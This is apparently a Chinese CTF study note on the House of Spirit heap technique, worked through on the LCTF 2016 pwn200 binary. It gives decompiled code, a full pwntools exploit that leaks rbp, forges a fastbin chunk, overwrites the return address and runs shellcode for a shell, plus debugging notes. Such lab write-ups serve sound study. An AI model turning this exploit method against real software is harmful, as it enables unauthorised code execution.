这个东西蛮有意思,可以对内存中一块fastbin大小的不可控内存区域进行读写,但它需要满足两个条件
1.该区域的前后的内存是可控的
2.存在一个可控指针可以作为free函数的参数
how2heap的例子 https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_spirit.c
确实需要画图,画图的话看得很清晰了就
LCTF 2016 pwn200 看一下有rwx段,可以写shellcode,本来是想打onegadget的,不过这种打法还需要泄露libc的地址
1 2 3 4 5 6 7 8 root@VM-24 -10 -ubuntu:/home/ubuntu/heap/houseofsp# checksec pwn200 [*] '/home/ubuntu/heap/houseofsp/pwn200' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000 ) RWX: Has RWX segments
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 sub_400A8E () { __int64 i; char v2[48 ]; puts ("who are u?" ); for ( i = 0LL ; i <= 47 ; ++i ) { read(0 , &v2[i], 1uLL ); if ( v2[i] == 10 ) { v2[i] = 0 ; break ; } } printf ("%s, welcome to xdctf~\n" , v2); puts ("give me your id ~~?" ); sub_4007DF(); return sub_400A29(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int sub_4007DF () { char nptr[8 ]; int v2; int i; v2 = 0 ; for ( i = 0 ; i <= 3 ; ++i ) { read(0 , &nptr[i], 1uLL ); if ( nptr[i] == 10 ) { nptr[i] = 0 ; break ; } if ( nptr[i] > 57 || nptr[i] <= 47 ) { printf ("0x%x " , (unsigned int )nptr[i]); return 0 ; } } v2 = atoi(nptr); if ( v2 >= 0 ) return atoi(nptr); else return 0 ; }
要先想办法泄露地址,输入回车的会被替换成0(就相当于字符串到最后了,被截断)
把前面修改为 0x40 fastbin大小,,然后进行free, 然后malloc获取到ret地址,然后就修改ret进行getshell
泄露地址 不要遗漏每一个函数和语句!
输入48个A泄露rbp
伪造chunk 这里是输入money那里,可以直接覆盖到ptr指针,把ptr覆盖了,覆盖成当前rbp的地址之前的某个位置,伪造chunk,free,然后再申请拿到这一块内存控制权限,然后就可以修改ret了,但是两个问题,
1.不知道libc的地址,知道的话,可以直接onegadget了,所以书中的解法是用了shellcode
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
可以看一下最终的效果图,很清晰
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *io = process('./pwn200' ) shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64' ) def leak (): global fake_addr global shellcode_addr payload = shellcode.rjust(48 , b'A' ) io.sendafter("who are u?\n" , payload) io.recvuntil(payload) rbp_addr = u64(io.recvn(6 ).ljust(8 , b'\x00' )) shellcode_addr = rbp_addr - 0x20 - len (shellcode) fake_addr = rbp_addr - 0x20 - 0x30 - 0x40 log.info("shellcode address: 0x%x" % shellcode_addr) log.info("fake chunk address: 0x%x" % fake_addr) def house_of_spirit (): io.sendlineafter("give me your id ~~?\n" , '65' ) fake_chunk = p64(0 ) * 5 fake_chunk += p64(0x41 ) fake_chunk = fake_chunk.ljust(0x38 , b'\x00' ) fake_chunk += p64(fake_addr) io.sendafter("give me money~\n" , fake_chunk) io.sendlineafter("choice : " , '2' ) io.sendlineafter("choice : " , '1' ) io.sendlineafter("long?" , '48' ) payload = b"A" * 0x18 payload += p64(shellcode_addr) payload = payload.ljust(48 , b'\x00' ) io.sendafter("48\n" , payload) def pwn (): io.sendlineafter("choice" , '3' ) io.interactive() leak() house_of_spirit() pwn()
排错 自己写的exp一直有问题,有一大片后面的选择\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :的输出
捣鼓半天是leak那里出问题了..一个回车引发的血案……….草……… 造成了后面一堆的错乱,为啥gdb里不影响呢?
这里要用send,因为存在offbyone,所以不需要回车,可以正好填满缓冲区,然后把rbp打印出来
1 2 3 4 5 def leak (): 14 global fake_addr,shellcode_addr 15 payload = shellcode.rjust(48 ,b'A' ) 16 p.recvuntil("who are u?\n" ) 17 p.send(payload)
感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
是的,理论上48个字符后,下一个字符,会放到ebp-0x38,也就是刚才输入的who are u后面的前方(不信可以输入49个a试试)
1 2 3 4 .text:0000000000400B1F call sub_4007DF .text:0000000000400B24 cdqe .text:0000000000400B26 mov [rbp+var_38], rax .text:0000000000400B2A mov eax, 0
不正常的,不正常是因为\n被give you id读取了,然后65\n和give your money后面全乱了
正常的(伪造这个0x41的位置),释放后再申请,前面18个随便填充,然后就覆盖返回地址了
待整理 感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
程序运行起来了,接入pid调试
,或者能不能直接看内存空间
Gdb attach本地进程进去
搞一搞pwntools,深入理解下
house_of_spirit 也有一个send
你的exp有问题…不过确实可以找一下其他的学一下
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
https://blog.csdn.net/sinat_35360663/article/details/128510319
后面有个总结不错
一个回车惹的祸…